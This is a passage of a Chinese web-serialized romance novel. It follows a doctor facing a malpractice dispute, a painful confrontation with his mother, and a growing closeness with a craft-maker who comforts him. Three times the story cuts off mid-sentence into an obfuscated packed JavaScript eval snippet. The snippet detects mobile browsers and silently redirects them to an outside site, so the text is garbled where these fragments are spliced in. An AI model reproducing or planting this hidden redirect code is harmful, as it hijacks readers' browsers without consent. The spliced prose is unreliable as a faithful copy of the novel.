下一秒,孟母笑得轻蔑:“你在说梦话吗孟决明?” “打官司需要多长时间不用我告诉你吧,有更简单的办法不用,你非要选那个蠢办法是吗?” “可我能不能复职不是最重要的。” “那什么重要你告诉我?” “病人的信任。”孟决明缓声道,“如果这件事不能光明正大地解决,那么即使我明天就复职,谁还放心让我治病呢?” 他固然可以走捷径,用一些上不了台面的手段处理这件事,但,那真的是他想要的吗? 以后所有的病人都会对着他指指点点,他的白大褂就永远都不再干净了。 孟俪却不以为然:“你懂什么?你以为你把调查结果明明白白地甩在别人脸上,别人就会相信你了?” 孟决明听到这句话,默了片刻。 少顷,他说:“我知道不管怎么样,都永远会有人质疑,但走正常程序复职我最起码心安理得。” “妈,我知道您是为了我好,但是这件事我有我自己的想法,所有的后果我自己能承担,我也希望您……能够不要总是干涉我的事情。” 孟母像是听见了什么天大的笑话,面露讥讽道:“以为自己可光明磊落,可清高、可正直了是不是?你脑子是不是进水了,这么大的人了,居然还这么天真!” “我不是天真。”孟决明迎着母亲的愤怒,分毫不退,“我只是不想在我的职业生涯里永远背着这个污点,我明明什么都没有做错,不需要用人情关系给自己洗白。” 孟俪听到这里“噌”地一下从沙发上站起来,声调高得吓人:“你没做错?那难道是我错了?是我让你接那台手术的是吗?” 孟决明也慢慢站了起来。 他早已比母亲高出许多,要看着她也得低下头。 可是在母亲面前,他仿佛永远都是当年那个因为打架被她当着老师同学的面骂得狗血淋头的少年。 当时的他沉默不语,而如今的他想为自己辩解一次。 “我是医生,治病救人是我的职责。接下那台手术,我没有任何问题。” “呵。” “妈。”他闭上眼,紧紧攥着拳。 “有件事我想问问您。”眼眶发酸发热,他忍了又忍,将泪意止住,再次抬头迎上母亲的目光,“这么多年了,我一直不明白。” “您为什么总是这样对我?” 说完这句话,他本以为自己会如释负重,却没想到手抖得更厉害,他只能将拳头攥得更紧,强迫自己冷静。 孟俪闻言冷眼看他,反问:“我哪样对你了?” 孟决明竭力压抑不断上涌的酸意,别开了目光。 他不敢再看着母亲的眼睛了。 于是,他垂下眼,低声开口:“为什么,我好像无论做什么事情,到了您这里,永远都得不到肯定。” “考试成绩不理想您会一直贬低我,我以为我考到第一名您就会高兴,可是直到我博士毕业,您也没有肯定过我一次。” “跟同学闹矛盾打架,您也不问原因,第一时间把错先归到我身上。” “直到现在,我工作了,您还是这样。”他的指甲嵌进掌心,声音逐渐发涩:“我不理解,您为什么总是对我这么苛刻。我想得到您的认同,哪怕一次。” “可是,一次都没有。您永远只会否定我。” 多年来的委屈,在这一刻终于说出口。 他曾经无数次在脑海里上演过今天的的场面,无数次地幻想过当这些难以言喻的情绪化作语言,说给母亲听的时候,她会是什么反应? 更加愤怒?还是从此对他彻底失望? 然而当他看清母亲脸上的神色时,那比任何结果都让他难以接受。 她只是勾着唇角,语气轻飘飘的:“你有什么地方值得我肯定的?你上学是为了我还是打架是学生应该做的?你要我肯定你什么呢?” “你不说我还忘了,这次闹事的家属就是高中跟你打架的同学吧?”孟母讽道,“我说什么来着,当年我就让你别管别人的闲事,你不听,一直到了今天你都不长记性,往同一个坑里 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他轻声说:“妈,您记得吗,当时为了争取我的抚养权,您急得焦头烂额,头发大把大把地掉。您几乎每天都出去应酬,就为了托关系找人脉,赢过那场官司。当时我才六岁,我觉得您好辛苦,如果不是因为爱我才不会那样拼命。” “所以这么多年我一直不理解您为什么花了那么大力气把我抢过来,却总是用语言暴力伤害我。”他停顿下来,自嘲地笑道,“现在我明白了,您是为了跟他争那口气,我只是一个您用来刺激他的工具,对吗?” 母子面对着面,方才还喋喋不休的两人眼下谁也再说不出一句话,眼眶都泛着红。 仿佛过了很久,孟俪抬手抹去脸上的泪,却没有给他一个答案。 “你不理解我也没有办法。” 她动作利落地拿了沙发上的包,朝着门口的方向走了几步,又停下来。 她背对着他说:“你今后愿意怎样就怎样,我就当没有生你这个儿子,你也当没有我这个妈。” 门“砰”地一声关上。 孟决明站在那里,目光在门口停滞了很久很久。 眼眶里一直打转的泪在他别过目光的那一刻瞬间滑落。 * 姜颂心里装着事,单子做着做着就走神。 最终,她放下手里的单子,打开手机翻看微博评论,只看了几眼就觉得心里堵得慌,不忍再看。 放下手机,她又忍不住想,孟医生看到这些攻击会怎么想呢? 连剩一点菜都会让他反复怀疑自己厨艺的人,看到这些心里会有多难受,她根本不敢去想。 她胡思乱想的时候,接到了孟决明的语音电话。 姜颂几次张了张嘴又闭上,一时之间不知如何开口。 而那边的孟决明也罕见地没有说话。 这电话像是没有接通一般,安静至极。 许久后,姜颂才试探着出声问:“你还好吗?” 她听见电话那头的人勉强笑了一声:“我没事。” 可他不知道他的声音有些沙哑,尾调还带着一丝不易察觉的鼻音。 怎么可能没事呢。 姜颂紧紧抿着嘴唇,声音不自觉地低下来:“真的吗?” 又是一阵缄默。 “对不起。”他的声音变得很低很轻,“我说谎。” “我其实很不好。” 12. 第 12 章 姜颂听着他的声音,心里说不出的难过。 “那……要不你有什么想说的话跟我说说吧,我也不太擅长安慰别人,但我觉得跟人说说心里话可能会好一些。”姜颂说,“我们开视频说?” 听筒里传来低低的一声嗯。 孟决明发送了视频请求过来。 姜颂点了接通,紧接着,屏幕上出现了那张熟悉的脸,只是神色黯淡。 平时姜颂见到的孟决明,穿搭风格多是偏成熟、清冷。而现在屏幕里的他穿着浅色家居服,头发好像刚洗过,没做什么发型,乖顺地垂在他额前,却挡不住他泛红的眼睛和难过的眼神。 像一只淋了雨的小狗,眼神湿漉漉地望着她。 姜颂想,如果此时此刻她在孟医生身边,她会不会一时冲动忍不住上去抱抱他呢? 她想不出答案,眼下他们隔着网络,她只能通过语言去安慰他。 姜颂认真对他说:“你有什么想说的都可以对我说,我来做你的树洞。” 然而孟决明透过屏幕盯了她好一会儿,问了她一个问题。 “网上说的那件事……就是我和家属之间的矛盾,你看到了吗?” 姜颂没有否认。 “你相信我吗?”他小心翼翼地问,声音低得宛如自言自语,“相信我……没有做那种事吗?” 听到这个问题,姜颂笑了笑。 “我为什么不相信呢?” 她说:“网上那些人,包括家属和死者我全都不认识,但是对于孟医生你,我却要熟悉得多。人总是要分亲疏远近的吧,在不知道矛盾细节的情况下,我当然会选择相信我更熟悉的人。” 姜颂一直用手拿着手机,为了不让自己的整张脸铺满屏幕,她把手机离远了一些,但这样胳膊会酸。 她把手机放到平时录视频用的支架上,拖着椅子坐得近了一些。 引导着他:“或许你愿意的话,可以跟我讲讲整件事的来龙去脉。” 没有立刻得到答复,姜颂也不急,就慢慢地等待着。 不久后,孟决明干涩的声音自手机听筒传来:“其实我早就不记得他们长什么样子了。” 姜颂刚很快明白过来,这个“他们”指的是当年的霸凌者,也就是现在的死者和家属。 他继续道:“起码在我接下这台手术的时候,我是没有想起来的。” “后来他们办了住院,我看见病历本上的名字才想起来我们是中学同学,他以前霸凌过我。” 姜颂没出声,静静地听着他倾诉。 “一开始只是一些阴阳怪气的话,我没有理。高中学习时间很紧张,我妈在学校附近租了个房子陪读。被他们知道了之后,他们就到处散布谣言,造谣我和我妈妈有不正当关系。我知道之后……跟他打了一架。” 姜颂瞪大了眼睛,越听越惊奇。 她一边不敢相信中学生的思想居然能龌龊到这个程度,一边又很难想象温文尔雅的孟医生少年时期打架打红眼的样子。 孟医生居然会跟人打架吗? “然后呢?”姜颂追问。 “这件事闹得很大,被他们两个长期霸凌的同学一起站出来举报,他们俩最后被学校开除了。” “那你呢?” 孟决明停顿了一下,说:“我因为打架被记了处分,丢了保送名额。” 姜颂听着,替他觉得惋惜。不过转念一想,孟决明可能也不差这个保送名额。 “你知道吗,”视频中的他低垂着眼睛,“其实知道是他们之后我真的……有一刻后悔过接下手术。” “可你最终没有那么做。”姜颂知道他在想什么,立刻打断了他,“我知道医学生在开始学医的时候都会背希波克拉底誓言,所以你绝对不会让自己那么做的。” “但我那么想过。” 姜颂摇摇头,对他说:“那又怎么样,君子论迹不论心,不要对自己太严格。如果我是你,我早就撂挑子不干了,谁爱救谁救,绝对不会原谅伤害过我的人。” “孟医生,不,孟决明。你好好听我说,这是人之常情,你首先是个有七情六欲的人,其次才是救死扶伤的医生,想和做是两码事,不要把错误全部揽到自己身上。” 她说完,暗暗观察着他的神色变化。 正在她思考孟决明到底把她这些话听进去了多少的时候,他忽然问道:“那你知道这些前因后果的细节之后……还会相信我在手术过程中完全没有私心吗?” “会啊。”姜颂几乎是立刻脱口而出,“因为我们是朋友,我就会永远偏心你,相信你。这一点,你可以永远向我求证。” 微信的视频通话带着自动美颜,孟决明原本在屏幕上只透着一抹浅红的眼眶,在此刻红得愈发显眼。 姜颂心下一惊,手下意识摸上脖颈,有点搞不清楚是不是自己的哪句话说得不对刺激到他了,怎么她好像要把人哄哭了? “我是想哄哄你,让你开心一点……你、你别哭啊……” 孟决明的总是含着温和笑意的眼睛此时蒙上了一层雾气,却终于看着她露出了目前为止唯一一个发自内心的笑容。 他微微抬起头,遏制住即将要滚落的泪珠。 缓了片刻,他声音里还带着一点尾音:“怎么办,我现在忽然觉得,这件事也不全是糟糕的地方。” “啊,还不够糟糕吗?” “不是。”他看向她,“我是在想,如果没有这件事,我就没有办法遇见你了。能做你的朋友,我觉得特别荣幸。” 任谁听到这样真诚的夸奖都会感到开心,姜颂一时间心花怒放,不好意思地压着嘴角。 “嗯……那个……”姜颂乱飘的目光落在一旁晾干的兔子上,她拿了起来,“昨天你交给我的兔子我上好色了,我拍给你看看?” “好。” 她从支架上拿下手机,快速翻转了摄像头的方向。 镜头拉近,画面中出现了一对小兔,一只憨态可掬,一只精致可爱,较为精致的那一只还搭配了医生元素的配件。 “我看了一下,颜料应该已经干了,我待会儿帮你涂一下封层,晾干你就可以把它带回家啦!”她说话的尾调不自觉地上扬着。 孟决明盯着旁边多出来的那个小兔医生看。 “旁边那个是你做的吗?” “啊,对。” 姜颂把镜头推近了一些,“昨天晚上帮你上色的时候突然有了灵感,就做了这个。我准备做一个系列,大概会有五只不同造型的小兔医生。等做出第一套,我要把它们当做礼物送给你。” “希望小兔医生能治好孟医生的不开心。”姜颂说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008030|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孟决明看着屏幕上的兔子,无声地笑了。 姜颂被他这么一笑,感觉自己好像是有点太幼稚了,仿佛回到在小镇的学校里教书的时候,完全把比她还大几岁的孟医生当小孩哄了, 她解释道:“其实我不怎么擅长跟人交流,也不太会安慰人。孟医生你是我在这里认识的唯一一个朋友,我就希望你不要不开心。” “你已经安慰到我了。”孟决明说,“你总是说自己不擅长和人交流,可是在我看来却不是这样,你特别好。” “和你相处让我觉得很舒服、很开心。” 他觉得也许在某种程度上,姜颂才是他的“医生”。她用行动告诉他,管“闲事”不是错,是勇敢和善良。 她像这冬日的一轮暖阳,和煦的阳光大方无私地洒向他,照亮他。令他心中隐秘角落中多年没有结痂的伤口在慢慢愈合。 血肉生长的同时,原本那些模糊的心思在此刻拨开迷雾,渐渐变得清晰。 他喜欢姜颂。 喜欢她总是温温柔柔地讲话,喜欢她自有一套处事原则不退让,喜欢她鲜活善良,对所有万事万物皆富有同情心。 喜欢这个美好的女孩子,是他在人生这本书中注定要翻阅的一页。 * 一直到晚上,姜颂好一番千叮咛万嘱咐,让孟决明再三保证自己不会去看网上那些评论之后,才放心地挂了视频通话。 孟决明说到做到,依旧没插上手机卡,屏蔽手机消息,专心写了一晚上论文。 夜深人静时,他收到了一条来自陌生人的好友申请。 验证消息只简略地写了个名字:张威。 孟决明很快想起了自己少年时期与名字的主人之间的羁绊。 通过申请后,对方发来一条消息。 张威:【老同学,还记得我吗,我是张威。】 孟决明不知对方是何来意,只出于礼貌回了一句: 【记得,好久不见。】 随后,对话框上方一直在显示输入中,持续了几分钟之久。 张威:【你的事我在网上看到了。我现在是万胜律所的合伙人,这类案子是我比较擅长的类型,如果你需要的话,我愿意免费为你提供帮助。】 万胜律所是桐市本地非常有名的一家律师事务所,医患纠纷的确是他们所擅长的。 孟决明原本也是打算找万胜来打这场官司,只是还没开始行动,没想到会以这种方式搭上了线。 孟决明还没回复,张威倒是抢先回道:【你不说话我就当你同意了。】 他发了一串手机号过来。 【这是我的手机号。明天我们约个饭吧,见面详说。】 孟决明知道张威是好意,这份好意也的确是他现在正需要的。 他没有推辞。 几近深夜,孟决明合上电脑后,起身走向浴室。 他抬手揪着领口将上身的衣服脱下,常年坚持锻炼的男性躯体肌肉紧实,却并不夸张。腰腹劲瘦,块垒分明,漂亮的人鱼线没入裤腰,引人无限遐想。 衣服被他丢进衣篓,人站到花洒之下。 温热的水流顺着他的脖颈蔓延,流过胸口的烟疤,那是这具完美躯体上唯一的瑕疵。 那道疤,是少年时期留给他的痕迹。 也是勋章。 13. 第 13 章 张威把见面地点约在了一家西餐厅。 这家西餐厅菜品价格不菲,筛选出来的客人对用餐环境的要求自然也比对普通餐厅严格了不止一星半点。 到了正午时分,餐厅内依旧比较安静,只有食客们低低的交谈声。 孟决明一进门,训练有素的服务生就带着一张笑脸迎了上来:“您好先生,请问有预约吗?” 他报了张威的名字,被服务生引着来到位置上,见到了西装革履的男人。 张威见到孟决明立即起身相迎:“孟决明,好久不见。” 孟决明微笑道:“有十多年没见了,你变化很大。” 张威一笑,抬手示意道:“坐吧。” 孟决明落了座,张威看见他,记起往事,心里满是感慨。 “我一直想找个机会当面感谢你。”他说,“当年要不是你施以援手拉了我一把,就不会有今天的张威。” 孟决明:“不用这么客气,其实还是你自己很努力,看到你今天的样子,我也很为你高兴。” 大概不会有人想到,现在这个意气风发,在律师行业千金难求一次委托的大律师在十几年前,曾因贫困而遭到霸凌,一度痛苦到想要跳楼自杀。 人生的际遇啊,总是那么让人出乎意料。 孟决明真心为张威高兴,也为自己当年没有袖手旁观而感到庆幸。 张威摆摆手:“不,虽然大家都会说能救自己的只有自己,但有的时候,外力的作用是非常重要的。没有你对我伸出的那只手,我再努力也只会像在水里扑腾的溺水者,永远都逃不开溺毙的结局。” 他话说得诚恳:“我张威不是忘恩负义的人,你对的我恩情我永远都会记得。” 说完,他偏过头,拿过身旁的一个公文包,从里面拿出一份合同。 “我就不绕弯子了,”他说,“这个案子请你一定要交给我来打,结果绝对不会让你失望。” 张威将合同递给他,“你知道的,我等这一天等很久了,不止是为了还你的恩情——” “更是为了我自己。” 他眼神中压抑着狠意和兴奋,像一只趴守多日的饿狼,终于见到紧盯的猎物离自己只有一步之遥。 当年的他没有还手的能力,而现在,他终于可以为年少的自己亲自讨回公道了。 张威一想到这些,笑中掺杂着恨意,他一字一句地说:“我一定要让刘光和刘宗这两个人渣为自己的所作所为,付、出、代、价。” * 正如孟决明所料,网上的事情就算当时闹得再大,等热度一过,各种娱乐新闻一压,过不了几天照样无人无津。 当天报警之后,警方在物业的协同之下很快找到了放花圈和老鼠的人。 那人是小区里的一位租户,和刘光做过同事。据他交代,是刘光指使他将那些东西放到孟决明家门口,答应事成后给他一千块钱。 不过,最后刘光赖账了。那租户在警局对刘光破口大骂,一个劲儿地强调自己的冤枉。 对方直接滑跪,好声好气地跟孟决明道了歉。孟决明也无意抓着他不放,接受了道歉。 再跟姜颂视频连线的时候,关于花圈和老鼠的事他什么也没有对她说。 姜颂是个很容易对周围事物产生共情的人,他一直都知道,不想总是给她带来负面情绪。 他也知道,姜颂这几天这么主动地坚持跟他视频连线教学,是为了占满他的空闲时间,防止他空下来去看网上那些乌烟瘴气的评论。 她在用自己的方式保护他。 但是,他更明白的是,她对他所有的好眼下都只是基于朋友间的友情,无关其它。 姜颂在视频里全神贯注地给他讲解着上色步骤。 “这个颜料在混合的时候要少量多次地取,像这样一点一点地加到白颜料里……” 她喜欢在比较暗的环境下开灯做手工,因此她那边的环境整体有些暗,唯一的光源柔和地打在她脸上。长睫低垂,随着她眨眼的频率上下翩飞,如同振翅欲飞的蝴蝶。 她虽然一直在讲话,却始终透着一种宁静温和的美。 孟决明想着接下来的安排,有些静不下心。他只是看着她眉飞色舞地讲话,至于内容,他什么也没听进去。 “我现在可以过去找你吗?”趁着她停下来示范,他忽然说,“我有件事想要跟你说。” 姜颂停住了手上的动作,往窗外看去。现在已经是晚上十点,窗外一片漆黑。 “这么晚了,你开车不太安全吧?” “没关系的。”他说,“我们就一起在你家楼下走走,聊聊天,可以吗?” 姜颂说好。 孟决明立刻出门。 挂了视频,姜颂就开始换衣服。 十二月,桐市已经渐渐进入冬天,夜晚的气温降得厉害。 姜颂很怕冷,干脆把衣柜里去年新买的那件白色长款羽绒服拿出来穿上,还搭配了同色的毛线帽和围巾。 孟决明在楼下等着,看到她裹得像个雪人,从楼门口出来。 他身上是一件黑色大衣,领口敞着。姜颂走到他面前,从毛茸茸的白围巾里露出一双眼睛,问他:“你不冷吗?” 他笑着摇头。 姜颂羡慕了:“好奇怪,我感觉从小到大见到的男生都好抗冻。上高中的时候,我每天穿得像个球一样,但男同学羽绒服里居然只穿一件短袖,你不会也是吧?” “没有那么抗冻。”孟决明失笑。 “一起在花园里散散步?” “嗯。” 两人慢悠悠地并肩而行。 姜颂开口问:“这么晚过来,孟医生你是有什么重要的事要说吗?” “确实有一件事想要说,但……”他侧头望着她,“更多的是因为我想要见你。” “姜姜。”他忽然这样低声唤她。 姜颂一愣。 “你叫我什么?” “可以这样叫你吗?老是叫你小姜老师好像有点奇怪,”孟决明微笑着,“或者你有什么小名吗?” 姜颂摇头:“我没有小名。” 她方才一瞬间的停滞没能逃过孟决明的眼睛,他问:“这样叫是不是有点冒昧,你介意吗?” “哦,不会。”姜颂连连晃手,“我刚才愣一下是因为,我妈妈也这么叫,我很久没听到有人这么叫我,乍一听到这个称呼有点恍惚。” “你很久没回过家了吗?” “嗯,从来到桐市开始就没再回去了。” “你家在哪里?” “一个很小很小的小镇。”姜颂扯出一抹笑,“小到我说出来你也肯定不知道的那种。” 她说着,忽然长长吐出一口气,眉眼低垂:“其实我有时候偶尔会有点想家。” 姜颂说到这里,以为他会追问,可他什么也没说。 她反倒有些惊奇:“你怎么不问我为什么想家却不回家?” “你不说一定有不说的原因。” 孟决明问她:“你想让我问吗?” 姜颂咬着唇,低头绞手指:“好吧,其实你如果问了我也不知道从哪里说起。而且……” 她偏头看了他一眼。 “什么?” 姜颂嘴唇微张,想要说些什么。不多时,又紧紧闭上了。 最终还是什么也没说出口。 她笑着对他摇头道:“没什么。” 接着,她巧妙地捡起了上一个话题的尾巴来回避:“你愿意怎么叫我都可以,我不介意。” 孟决明注视着她,她唇角微微上扬,眼神里却很快地闪过了一丝他没来得及看清的情绪。 她似乎把心门悄悄敞开了一条缝隙,但不知出于什么原因,又不想打开了。 他心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜颂叽叽喳喳地给他分享起大学时期和室友们在学校附近吃的那家烤鱼有多么美味,导致她毕业之后还总是想念那家店的味道。 孟决明就笑眯眯地听着她讲。 说着说着,姜颂意识到自己扯远了,一看时间,马上十二点。 她停下:“哎呀都这么晚了,我好像说了好多废话,你怎么也不打断我!” 孟决明:“不是废话,我喜欢你跟我分享这些小事,对我来说很有意思。” “那我也不能继续了,今天真的太晚了,等你解决了工作的问题,我们还有很多时间。” 她在道别了。 孟决明忽而转身,面对着她。 姜颂抬头,不明所以。 孟决明垂眸与她对视,“我……可以抱抱你吗?” 姜颂在他的眼神中微怔了一瞬。 问出这句话的孟决明是慌张的。 他到底还是没能控制住自己,他太急迫了,他担心自己接下来在她生活里的缺席会让他错过机会。 而此刻问出这个问题,他不知道对于姜颂来说会不会有些冒犯,他毕竟还没有表白心意。 “我……” 姜颂却笑着朝他张开手臂。 “法律方面的事情我也不太懂,嗯……”她想了一下,对他说,“希望孟医生你一切顺利!” 她上前半步,主动抱住了他。 姜颂身上的馨香笼罩在他周围,孟决明哭笑不得,他觉得自己刚才的紧张都白费了,这个有些迟钝的姑娘也许压根就没有懂他的心思。 他抬手虚虚环住她,低头,扬着唇角,放柔了声音:“谢谢姜姜。” 围巾下,姜颂的脸颊滚烫,她不知道自己是不是想太多了。 14. 第 14 章 十二月底,桐市迎来了今冬的第一场大雪。 几天前的天气预报就显示着这一周内都有雪,姜颂担心小区里的流浪猫无法抵御风雪,最近一直在做猫窝。 只是没想到大雪提前来了。 加班到深夜,她做完最后一个已经是凌晨时分。 熬得太晚,反而睡不着了。 工作台上另一边的小兔医生系列粘土摆件已经完成了四只,剩下一只的造型她还没想好,便一直搁置到今天。 第四只做完的那一天,是她和孟决明自上次那个拥抱后的唯一一次见面,其余时间基本都是线上联系。 姜颂走到窗前,望着窗外漫天的大雪飘落,楼下路灯的昏黄灯光映着积雪,为雪色镀上一层暖意。 她偶尔会想起那天晚上的拥抱。 薄荷混着雪松香萦绕在她鼻尖挥之不去,男人的怀抱宽阔温暖,让她心头划过一丝异样的感觉。 不过从那天之后,由于两人的见面频率大大降低,那种感觉又在她心里渐渐隐去。 事后的复盘以及再见面时孟决明温柔的态度总让她懊恼。 为什么一定要把朋友之间的正常相处往那方面想呢? 朋友之间也是可以拥抱的。 对吧? 姜颂的目光拉近,聚焦在窗户玻璃上,那里隐约映出她的脸,她鼓鼓脸颊对着自己做了个鬼脸,然后一把拉上窗帘,上床用被子把自己卷起来,强制自己关机。 好消息是:她很快入睡了。 坏消息是:她又梦见孟医生俯身抱住了她,温柔地对她笑,在她耳边低语,接着他捧着她的脸颊,气息越来越近…… 不好不坏的消息是:她没睡几个小时,就被楼上乒乒乓乓的响动吵醒了。 早八点,天蒙蒙亮,雪停。 姜颂顶着黑眼圈坐在床上,生无可恋地望着天花板。一时不知道是该为了被吵醒而生气,还是该感谢楼上打断了她愈发荒唐的梦境。 她刚搬来这小区的时候楼上每天固定六点起来打豆浆,简直魔音贯耳。那会儿她刚交完押金,只能硬着头皮住下去。半年后那家人搬走,楼上就一直空着,她都快忘了早上被吵醒是什么感觉。 但现在她知道,她的好日子很可能又到头了。 她丧了一会儿,干脆起床洗漱,然后用羽绒服把自己裹成粽子,一趟一趟地把做好的猫窝拿出去放在猫猫经常出没的地方,还贴心地做好了固定,以防风大被吹走。 运送到最后一趟,她下楼时正好撞见楼上新搬来的邻居正往上搬东西。 楼道太过狭窄,姜颂侧身让他先过,其貌不扬的斯文男人笑着对她道谢,两人擦肩而过。 姜颂边下楼边在心里祈祷,这位新邻居的作息可一定要像他的外表一样普通。 花园里有小朋友在堆雪人,姜颂刚回楼上顺便取了自己的眼影盘下来,安装完猫窝混到小孩们中间帮忙给雪人上腮红,最终荣获与雪人合影权。 她留下几张拍得还不错的照片,没做多想打开了孟决明的对话框。 然后停顿住。 想到他也许正在忙。 姜颂的笑容黯淡了一瞬,又退了出去。 * 这场雪断断续续地下了两天,整个桐市到处是一片洁白。 朋友圈里全是雪景照,姜颂凑热闹,一时兴起约了个网红摄影师到附近的古刹拍雪景写真。 拍了一整个上午,临走前,她听见香客们说这里可以卜卦和许愿,立马掉头回去。 孟决明案子即将在下午开庭,她要回去拜托佛祖保佑孟医生一切顺利。 往外走时,摄影师跟她闲聊:“这庙挺灵的,但是许愿的时候要说清楚细节,否则很容易被调剂。” 摄影师是个圆脸女孩,说话时一双圆溜溜的眼睛微微弯起,像两弯月牙。 姜颂对眼前的女孩有着莫名的好感,毫不扫兴地追问道:“怎么调剂?” “比如……”女孩迈过门槛,扁扁嘴,“读书的时候我来过一次,当时我许的愿望是,希望以后自己拍的东西能够被更多的人看到。” 她扭头,苦着脸对姜颂说:“结果现在莫名其妙地成了网红摄影师。” 姜颂顿感大事不妙。 刚刚她只跟佛祖说了保佑孟医生官司打赢,可是没提名字,也没具体说是哪年哪月!这种情况调剂的话,会调剂成什么样子? 姜颂紧张地问:“那你本来的计划是什么?” “导演。”摄影师叹息道,“其实我一直很想做导演拍剧,可惜一直拉不到什么投资,只能四处当摄影师拍客片攒钱,不知道要攒到什么时候。” 姜颂想,这落差确实有点大。 摄影师说着,低头看了看脚下,积雪被她踩出脚印。天空还在飘着小雪,大概是清洁工还没来得及扫,抬头望去,根本看不清楚哪里是路。 姜颂也顺着她的目光看去,又看了看她略显失望的脸。 走了两步,姜颂忽然开口:“你知道我是怎么找到你的吗?” 摄影师疑惑地看她。 “是我刷到了一个本地摄影师安利贴。”她说,“我在那些客片里一下子就看中了你拍的那一组。” “然后我就找到你的账号考古了一下你的作品,每一张都好漂亮。其实我很不爱出门,尤其是这种天气,是因为看了你的客片,我才临时决定要来的,没想到你正好有时间,我还觉得很幸运呢。” 姜颂:“我觉得也许你的愿望不是被调剂了,而是正在实现的路上。” 摄影师愣怔地看着姜颂,不知不觉走出去好长一段距离,已然蹚着雪地稳稳当当地走上了方才她望向的那条路。 姜颂朝她眨眨眼,笑盈盈:“加油哦,期待有一天能在荧幕上看到你的作品。” 摄影师感动得扑上去给了姜颂一个熊抱,把姜颂吓了一跳,她激动表示今晚加班也要把照片修出来,底片全送。 和摄影师道别后,姜颂去打卡了一家网红咖啡店。 虽然哄好了摄影师,但她对摄影师说的愿望调剂还是心有戚戚。开始回想刚才在庙里的许愿内容,越想越觉得说得太笼统了,心里一阵打鼓。 跟人生规划这种可以条条大路通罗马的事情不一样,官司赢不赢可是一锤子买卖,还是得说清楚更保险。 咖啡味道很一般,姜颂揣着心事压根没喝两口,出了门又折回庙里对着佛祖唠叨了好一会儿,恨不得把孟决明身份证号都报给佛祖,方便他老人家精确到人。直到觉得什么都说清楚了,才心满意足地跟佛祖道了别,准备回家。 最近天气不好,公交车上一大片空座位,姜颂选了个靠窗的位置坐下来,戴上耳机听歌,脸上是幸福的笑意。 想了想,她发了条微信给孟决明:【我帮你卜了一卦,你想知道签上写了什么吗?】 此时的孟决明正和张威正站在法院门口等待开庭。 收到消息的孟决明莞尔一笑。 他回道:【等判决书出来再告诉我吧,赢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008032|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算锦上添花,输了就当安慰我,怎么样?】 姜颂发了个疑惑的表情包:【你怎么就确定是好的呢?】 他笑意更深:【不好的话,你应该会当做没这回事,也不会告诉我。】 姜颂不回话了。 张威站在一旁,观察着孟决明不断上扬的唇角,明知故问道:“跟谁聊天呢,笑这么开心?” 孟决明笑意未收,手机揣进口袋,道:“朋友。” “女朋友吧?”张威意味深长。 “还不是。” “哦,那就是还在追。”张威心领神会地笑笑,孟决明也笑着没答话。 张威瞄了眼手机时间:“快到时间了,紧张吗?” “还好。” “还好?” “嗯。” 张威摸摸下巴,嘶了一声:“你就这么有把握我们会赢?” “没把握。” 张威:“要是输了,你这工作大概也保不住了,你不在意?” 孟决明看着他:“你的能力我有所耳闻,如果你都打不赢,那只能说明是天意。” 说着,不远处驶来的一辆车上乌泱泱地下来一车男女老少,刘光远远地朝孟决明和张威两人望来。 即使隔着一段距离,也能感受到那目光里滔滔不绝的恶意。 张威看了片刻,唇线慢慢绷直,眼神也冷了下来,他拍拍孟决明的肩膀,道:“今天帮你打赢这场官司,等你婚礼摆席我要坐主桌。” 没等孟决明接话,张威整理了一下仪容,手里拿着资料,目光投向法庭大门,隐隐有些激动:“走吧。” 法院大门打开,两拨人一同涌进。 * 姜颂不知道自己是怎么了,明明孟医生每一句话看起来都很正常,但她就是会理解出一点别的意思。 她双手捂住脸,晃了晃脑袋里那些乱七八糟的想法。 怎么能这样呢!!!还能不能好好做朋友了!!! 耳机中欢快的歌曲旋律里,夹杂了一声微信消息通知音。 姜颂以为是孟决明,捂了好久才点进去看。 看清内容和发信人,她嘴角的弧度缓缓凝住。 妈妈:【姜姜,家里做了点腊肠,妈妈给你寄一点好吗?】 她看着消息不知道该说什么,明明她已经说过无数次不需要给她寄东西了。 隔了一会儿,姜母又回复道:【春节能回家吗,妈妈真的好想你。】 姜颂无意识地咬着嘴唇上的死皮,犹豫了很久。她什么也没回,关了手机,将头靠在车窗上,闭眼假寐。 回到家,她的脑子还是乱糟糟的。为了防止自己有空想七想八,她打了鸡血似的坐到工作台前做一个未完成的钩织单子。 钩到最后她才发现针数对不上,也不知道哪里漏了一针,只好默默把刚才钩好的两圈线全部拆掉重来。 这次钩了四圈,又开始漏针,又拆。 一个小时过去,几乎毫无进展。 姜颂面无表情地把线全扯乱,吐了一口气出来。 她垮着脸瞥向桌面上的手机。犹豫了片刻,拿起来,打开某个出行软件操作了几下。 接着,她点开了和母亲的对话框,编辑了一条消息 【明天我回家。】 按下发送键的前一秒,她删掉了“家”。 